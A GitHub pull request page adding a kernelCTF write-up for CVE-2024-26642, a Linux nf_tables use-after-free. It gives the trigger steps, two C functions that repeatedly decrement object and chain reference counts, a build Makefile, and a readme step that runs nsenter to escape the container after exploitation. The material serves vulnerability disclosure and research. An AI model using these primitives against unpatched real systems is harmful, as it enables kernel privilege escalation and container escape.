Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Add kernelCTF CVE-2024-26642_cos #130

Open
wants to merge 40 commits into
base: master
Choose a base branch
from
Open
Show file tree
Hide file tree
Changes from all commits
Commits
Show all changes
40 commits
Select commit Hold shift + click to select a range
578c71e
Add CVE-2024-1085_lts
conlonial Apr 1, 2024
2c5b2db
Change metadata.json
conlonial Apr 1, 2024
5fd8684
Change exploit.c
conlonial Apr 1, 2024
49c656b
Change exploit.c
conlonial Apr 1, 2024
f6668cc
Change exploit.c
conlonial Apr 1, 2024
b05a139
Change exploit.c
conlonial Apr 1, 2024
d8edffe
Fix bug
conlonial Apr 1, 2024
20437b2
Fix bug
conlonial Apr 1, 2024
61a0119
Merge branch 'google:master' into master
lonialcon2 May 30, 2024
22a06a1
Add more details
conlonial May 30, 2024
b3d2a5d
Merge branch 'google:master' into master
lonialcon2 Jun 27, 2024
53cb6be
Add CVE-2024-26581_lts_cos_mitigation
conlonial Jun 27, 2024
52093cb
Fix metadata.json
conlonial Jun 27, 2024
7b6d696
Fix exploit
conlonial Jun 27, 2024
3b03e0d
Fix exploit
conlonial Jun 27, 2024
c0b2d52
Fix exploit
conlonial Jun 27, 2024
3bff6b4
Add more details in exploit.md
conlonial Aug 21, 2024
b2eadf6
Add more details in exploit.md
conlonial Aug 21, 2024
551d798
Add more details in exploit.md
conlonial Aug 23, 2024
6e29ed2
Fix cos exploit.c
conlonial Aug 23, 2024
9887a97
Fix cos exploit.c
conlonial Aug 23, 2024
1045854
Fix cos exploit.c
conlonial Aug 23, 2024
e665032
Delete pocs/linux/kernelctf/CVE-2024-26581_lts_cos_mitigation/exploit…
lonialcon2 Aug 23, 2024
b6c5792
Merge branch 'google:master' into master
lonialcon2 Aug 23, 2024
5788914
add more details in exploit.md
conlonial Aug 27, 2024
1e61538
Merge branch 'google:master' into master
lonialcon2 Aug 27, 2024
1c90aaf
for stability test
conlonial Aug 27, 2024
004577d
for stability test
conlonial Aug 27, 2024
51ae4a9
for stability test
conlonial Aug 27, 2024
943c274
for stability test
conlonial Aug 27, 2024
9124089
for stability test
conlonial Aug 27, 2024
0721190
for stability test
conlonial Aug 27, 2024
e535b67
for stability test
conlonial Aug 27, 2024
17fa284
Merge branch 'google:master' into master
lonialcon2 Sep 2, 2024
af5ef12
Add CVE-2024-26652_cos
conlonial Sep 3, 2024
20557be
Fix error
conlonial Sep 3, 2024
7279226
Fix error
conlonial Sep 3, 2024
be64935
Fix error
conlonial Sep 3, 2024
1cf2a53
Fix error
conlonial Sep 3, 2024
a4feed9
Delete pocs/linux/kernelctf/CVE-2024-26642_cos/exploit/exploit
lonialcon2 Sep 3, 2024
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
156 changes: 156 additions & 0 deletions pocs/linux/kernelctf/CVE-2024-26642_cos/docs/exploit.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,156 @@
# Exploit detail about CVE-2024-26642
If you want to get some base information about CVE-2023-6817, please read [vulnerability.md](./vulnerability.md) first.

## Background
nftables is a netfilter project that aims to replace the existing {ip,ip6,arp,eb}tables framework, providing a new packet filtering framework for {ip,ip6}tables, a new userspace utility (nft) and A compatibility layer. It uses existing hooks, link tracking system, user space queuing component and netfilter logging subsystem.

It consists of three main components: kernel implementation, libnl netlink communication and nftables user space front-end. The kernel provides a netlink configuration interface and runtime rule set evaluation. libnl contains basic functions for communicating with the kernel. The nftables front end is for user interaction through nft.

nftables implements data packet filtering by using some components like `table`, `set`, `chain`, `rule`.

## Some additional stories
After reading `vulnerability.md` or `cause analysis`, you may wonder why the root cause and patch do not seem to match. I can only talk about the vulnerability reporting process for this question.
I sent a vulnerability report to [email protected] at 2024.2.29 13:33:
```
Hi, I've found a new vulnerability in Linux netfilter/nftable subsystem. In the function nf_tables_deactivate_set, it does not set "set->dead = 1". This makes it possible to call nft_setelem_data_deactivate with a set element more than once by following this step:
1. Create a pipapo set with flag NFT_SET_TIMEOUT and NFT_SET_ANONYMOUS.
2. Create a set element of this pipapo set with flag NFTA_SET_ELEM_EXPIRATION.
3. Create a chain.
4. Create a rule with nft_lookup expr, which will bind the pipapo set we create in step 1.
5. Delete the chain And finally nft_setelem_data_deactivate will be called for the same set element both in nft_map_deactivate and in function pipapo_gc.

Attachment is the poc I wrote for this vulnerability, which leaks some kernel pointers. I tested it on linux 6.1.78.

Thanks,
lonial con
```
The email also attached a poc I wrote based on the trigger idea (it can cause the latest kernel at that time to produce crahs). I did not receive any reply emails afterwards.
On 2024.3.5, I noticed that the maintainer of netfilter pushed a patch to netfilter (https://patchwork.ozlabs.org/project/netfilter-devel/patch/[email protected]/). He pushed the corresponding patch without asking for any opinion from me.

The patch did make my poc not work, but this patch did not fix the core of the problem `set->dead = 1`. Therefore, I added two patch commits to `vulnerability.md`.

## Cause anaylysis

In the function nf_tables_deactivate_set, it does not set "set->dead = 1". This makes it possible to call nft_setelem_data_deactivate with a set element more than once by following this step:

1. Create a pipapo set with flag NFT_SET_TIMEOUT and NFT_SET_ANONYMOUS.
2. Create a set element of this pipapo set with flag NFTA_SET_ELEM_EXPIRATION.
3. Create a chain.
4. Create a rule with nft_lookup expr, which will bind the pipapo set we create in step 1.
5. Delete the chain

After you send these commands in a message list, when you reach step 5 `delete the chain`, the following call chain will occur:
```
nf_tables_delchain -> nft_delrule -> nft_rule_expr_deactivate -> (expr->ops->deactivate) -> nft_lookup_deactivate -> nf_tables_deactivate_set -> case NFT_TRANS_PREPARE: nft_map_deactivate
```
`nft_map_deactivate` will eventually call `nft_setelem_data_deactivate` for all set elements in the set.

But at the same time, after all commands are executed, nftable will also call `nf_tables_commit`, which triggers another call chain:

```
nf_tables_commit -> (set->ops->commit) -> nft_pipapo_commit -> pipapo_gc -> nft_pipapo_gc_deactivate -> nft_setelem_data_deactivate
```

Finally, `nft_setelem_data_deactivate` will be called for elements which are timed out in the pipapo set, which may result in multiple calls to `nft_setelem_data_deactivate` for the same set element.

## Triggering the vulnerability

It's easy to trigger it by following this steps:

- Create a pipapo set with flag NFT_SET_TIMEOUT and NFT_SET_ANONYMOUS.
- Create a set element of this pipapo set with flag NFTA_SET_ELEM_EXPIRATION.
- Create a chain.
- Create a rule with nft_lookup expr, which will bind the pipapo set we create in step 1.
- Delete the chain


## Exploit it
The method of exploiting CVE-2024-26642 is exactly the same as that of exploiting CVE-2023-6817. If you want to learn how I exploit CVE-2023-6817, please read [here](https://github.com/google/security-research/blob/master/pocs/linux/kernelctf/CVE-2023-6817_lts_cos/docs/exploit.md).The only difference is how to construct the two primitives.

## Primitive
### Primitive_0
I build a function named as `primitive_0` to change the nft_object->use by triggering the vulnerabiltiy:

```c
//make target_obj->use = target_obj->use - repeat_time
void primitive_0(struct nl_sock *socket, char *table, char *target_obj, int repeat_time){
char *pad = malloc(0x100);
memset(pad,0x41,0x100);
int i,j;
struct nlmsghdr **msg_list = malloc(sizeof(struct nlmsghdr *)*0x100);
char *key = malloc(0x40);
char *set_name = "set for primitive0";
char *chain_name = "chain for primitive0";
msg_list[0] = new_set_pipapo_for_timeout_with_anonymous_msg(table, set_name, NFT_OBJECT_CT_EXPECT);
for(i=0;i<repeat_time;i++){
*(uint64_t *)key = i;
msg_list[i+1] = new_setelem_with_expiration_msg(table, set_name, pad, 0xc0, target_obj, key, 0x40, NULL, 0, 0,0x0100000000000000);
}
msg_list[repeat_time+1] = new_chain_msg(table, chain_name, 0);
msg_list[repeat_time+2] = new_rule_lookup_for_chain_msg(table, chain_name, set_name, 0);
msg_list[repeat_time+3] = del_chain_msg(table, chain_name);
send_msg_list(socket, msg_list, repeat_time+4);

free(msg_list);
free(pad);
}
```


How it works:
1. message 0: Create a pipapo set with flags `NFT_SET_TIMEOUT` and `NFT_SET_ANONYMOUS`
2. message from 1 to (repeat_time): Create repeat_time set elements, all of which contain `NFTA_SET_ELEM_EXPIRATION` and `NFTA_SET_ELEM_TIMEOUT`.
3. message repeat_time+1: Create a chain
4. message repeat_time+2: Create a rule on the chain, which contains an expr of type `lookup`. `lookup` expr can be bound to an `nft_set` when initialized, and we let it bind the pipapo set created by message[0].
5. message repeate_time+3: delete the chain created by message repeat_time+1
When the above message is sent, two rounds of calls to `nft_setelem_data_deactivate` for the same set element will be triggered:

The first round is when executing message repeate_time+3, and the following call path will be generated in the end:

```c
nf_tables_delchain -> nft_delrule -> nft_rule_expr_deactivate -> (expr->ops->deactivate) -> nft_lookup_deactivate -> nf_tables_deactivate_set -> nft_map_deactivate
```

The `nft_map_deactivate` function will call `nft_mapelem_deactivate` -> `nft_setelem_data_deactivate` for all elements in the pipapo set created by message 0.

The second round is after all messages are executed, `netfilter` will call the `nf_tables_commit` function, and finally generate the calling path:
```c
nft_set_commit_update -> (set->ops->commit) -> nft_pipapo_commit -> pipapo_gc -> nft_pipapo_gc_deactivate -> nft_setelem_data_deactivate
```
The function `pipapo_gc` will also call `nft_setelem_data_deactivate` for all timeout elements in pipapo set.
(This is why it is necessary to add `set->dead = 1` in nf_tables_deactivate_set to fix the vulnerability, because after adding this line of code, the subsequent operations will not be executed in the function nft_set_commit_update.)

It will trigger the vulnerability as described above. In order to achieve the effect of executing "nft_object->use--" multiple times on the same nft_object, I created multiple set elements using the same nft_object at one time.

### Primitive_1
I build a function named as `primitive_1` to change the nft_chain->use by triggering the vulnerabiltiy:

```c
//make target_chain->use = target_chain->use - repeat_time
void primitive_1(struct nl_sock *socket, char *table, char *target_chain, int repeat_time){
char *pad = malloc(0x100);
memset(pad,0x41,0x100);
int i,j;
struct nlmsghdr **msg_list = malloc(sizeof(struct nlmsghdr *)*0x100);
char *set_name = "set for primitive1";
char *chain_name = "chain for primitive1";
char *key = malloc(0x40);
msg_list[0] = new_set_pipapo_for_timeout_and_chain_with_anonymous_msg(table, set_name, 0x40);
for(i=0;i<repeat_time;i++){
*(uint64_t *)key = i;
msg_list[i+1] = new_setelem_with_chain_and_expiration_msg(table, set_name, pad, 0xc0, target_chain, key, 0x40, NULL, 0, 0,0x0100000000000000);
}
msg_list[repeat_time+1] = new_chain_msg(table, chain_name, 0);
msg_list[repeat_time+2] = new_rule_lookup_for_chain_msg(table, chain_name, set_name, 1);
msg_list[repeat_time+3] = del_chain_msg(table, chain_name);
send_msg_list(socket, msg_list, repeat_time+4);

free(msg_list);
free(pad);
}
```
It will trigger the vulnerability as described above. In order to achieve the effect of executing "nft_chain->use--" multiple times on the same nft_object, I created multiple set elements using the same nft_chain at one time.


## Exploit
Because the exploit steps of CVE-2024-26642 is the same as CVE-2023-6817, please read [here](https://github.com/google/security-research/blob/master/pocs/linux/kernelctf/CVE-2023-6817_lts_cos/docs/exploit.md).
25 changes: 25 additions & 0 deletions pocs/linux/kernelctf/CVE-2024-26642_cos/docs/vulnerability.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,25 @@
# Vulneribility
The function `nf_tables_deactivate_set` does not set "set->dead = 1". This makes it possible to call `nft_setelem_data_deactivate` with a set element more than once.

## Requirements to trigger the vulnerability
- Capabilities: `CAP_NET_ADMIN` capability is required.
- Kernel configuration: `CONFIG_NETFILTER`, `CONFIG_NF_TABLES`
- Are user namespaces needed?: Yes

## Commit which introduced the vulnerability
- [commit d60be2da67d172aecf866302c91ea11533eca4d9](https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git/commit/net/netfilter/nf_tables_api.c?h=linux-6.1.y&id=d60be2da67d172aecf866302c91ea11533eca4d9)

## Commit which fixed the vulnerability
- [commit 16603605b667b70da974bea8216c93e7db043bf1](https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/net/netfilter?id=16603605b667b70da974bea8216c93e7db043bf1)
- [commit 552705a3650bbf46a22b1adedc1b04181490fc36](https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=552705a3650bbf46a22b1adedc1b04181490fc36)

## Affected kernel versions
- 6.1.35 and later
- 5.15.121 and later

## Affected component, subsystem
- net/netfilter (nf_tables)

## Cause
- UAF

Original file line number Diff line number Diff line change
@@ -0,0 +1,9 @@
exploit:
gcc -o exploit exploit.c -I/usr/include/libnl3 -lnl-nf-3 -lnl-route-3 -lnl-3 -static
prerequisites:
sudo apt-get install libnl-nf-3-dev
run:
./exploit

clean:
rm exploit
Original file line number Diff line number Diff line change
@@ -0,0 +1,2 @@
Exploit for kctf cos-105-17412.294.29
Run command "nsenter --target 1 -m -p" after run the poc.
Loading
Loading